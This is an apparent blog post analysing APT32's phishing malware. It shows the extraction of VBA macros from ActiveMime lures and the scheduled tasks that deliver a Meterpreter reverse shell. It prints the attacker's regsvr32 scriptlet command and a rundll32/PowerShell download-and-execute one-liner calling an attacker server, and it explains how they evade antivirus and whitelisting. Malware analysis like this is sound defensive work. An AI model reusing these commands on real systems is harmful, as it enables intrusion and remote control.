Reviewing the APT32 phishing malware

This week, FireEye released an awesome review into APT32 (aka OceanLotus). The full writeup of their analysis can be found on FireEye’s site here, and is certainly worth a read if you are interested in the evolving world of APT and attribution.

One of the things I found interesting about this group was their use of “off the shelf” open source tools and techniques, often associated with commercial red-team engagements.

So of course I was curious to see exactly how these tools were being deployed within the initial stages of a campaign.

What follows is a brief review of the initial infiltration stage, with a focus on identifying the execution of common tools and techniques that would also be use during a penetration test, or red-team engagement.

From FireEye’s post, we know that APT32 are using phishing attacks to gain a foothold into a target network, delivering a malicious ActiveMime file with an extension of “.doc”. After some searching, I was able to gather a number of samples for analysis.

When launching the malware, a victim is presented with a Word document, delivering a message which aims to have a user click “Enable Content”. We can see a number of examples from Nick Carr’s tweet shared following his FireEye post:

More #APT32 ActiveMime lures that we couldn't fit into the blog post: https://t.co/4JXcChOTQvpic.twitter.com/LPqOSeBb2X
— Nick Carr (@ItsReallyNick) May 16, 2017

Reviewing the contents of the ActiveMime file, we see an MSO which contains the payload we are interested in:

To begin our analysis, we extract the MSO from the ActiveMime file which is base64 encoded. Once decoded, we need to figure out how to turn this into something meaningful for review. Thankfully, I came across this Twitter conversation from @decalage2 which saved a lot of time and effort:

bingo: ActiveMime is simply zlib-compressed data starting at offset 0x32, then a standard OLE file with the VBA macro project
— Decalage (@decalage2) March 4, 2015

Further into the Twitter conversation, a python script is provided which gives us an easy way to retrieve the OLE object:

ole_data=zlib.decompress(binascii.a2b_base64(bindata.text)[0x32:]) 

Once we have our OLE object, we use OleDump to retrieve the VBA code used by the macro during execution:

python ./oledump.py -s a -v ./ole.bin

Within the VBA code recovered, we find the two “schtasks” calls documented in FireEye’s review, “Microsoft Customer Experience Improvement”:

and “Background Synchronizations”:

First we will review the “Microsoft Customer Experience Improvement” scheduled task. When triggered, “regsvr32.exe” is executed along with a number of arguments:

regsvr32.exe /s /n /u /i:http://apt32server/microsoft scrobj.dll 

This technique was introduced in “squibleydoo” by Casey Smith. The concept is to use the scrobj.dll to execute a remotely hosted XML scriptlet file containing an embedded payload. Casey Smith’s Gist documenting this technique can be found here.

Reviewing the referenced scriptlet file, we see the usual boilerplate VBA code, followed by:

Decoding this Chr() chain, we find further VBA calls to the Win32 API’s CreateProcess, VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread. These API calls are used to spawn a “rundll32.exe” process and inject a new thread. The following Array is then written to this thread for execution:

This is a VB Array of signed char’s, which can be decoded using a small python script:

import struct

array = [-4,-24,-119,0,0,0,96...]
unpacked = ""

for b in data:
    unpacked += struct.pack("i", b)[0]

print unpacked

When decoded and disassembled, we find the following:

If this looks familiar, it’s because this is actually Metasploit’s windows/meterpreter/reverse_https module:

So it appears that APT32 have used Squibleydoo from the initial ActiveMime malware to download the Meterpreter reverse shell payload. This of course means that the Meterpreter payload never touches the disk (with the exception of potentially being swapped into virtual memory), giving it a good chance of evading AntiVirus.

Next, let’s have a look at that second scheduled task, “Background Synchronizations”. Again, as documented in the FireEye writeup, we see that this scheduled task is created from XML stored within the VBA code:

The scheduled task has an action of:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("<script language=jscript>"+'var%20r=new%20ActiveXObject("WScript.Shell");r.Run("powershell.exe%20-nop%20-w%20hidden%20-c%20IEX((new-object\ net.webclient).downloadstring(\'http://apt32server/adobe\'))",0);'+"</script>")

At first I thought this technique of executing JavaScript via rundll32.exe also had its origins with Casey Smith, however it seems that it had been documented previously.

With JavaScript, rundll32.exe is instructed to launch Powershell, executing a script which is downloaded from a remote server. The downloaded script is both gzip compressed and base64 encoded, which when decoded gives a base64 encoded byte array which is written to memory:

We actually find that this is the same Meterpreter payload downloaded from the previous scheduled task, windows/meterpreter/reverse_https:

Again, using this scheduled task and rundll32.exe method, we see that the meterpreter payload never touches the disk, instead being executed by Powershell in memory.

Ultimately, this version of APT32’s malware appears to be using two similar techniques to achieve a common goal, the deployment of a Meterpreter payload. Given that each avoids storing a payload to disk, the odds are tipped in the attackers favour in both evading AntiVirus and, through the use of rundll32.exe and regsvr32.exe techniques, increased the likelihood of bypassing application whitelisting.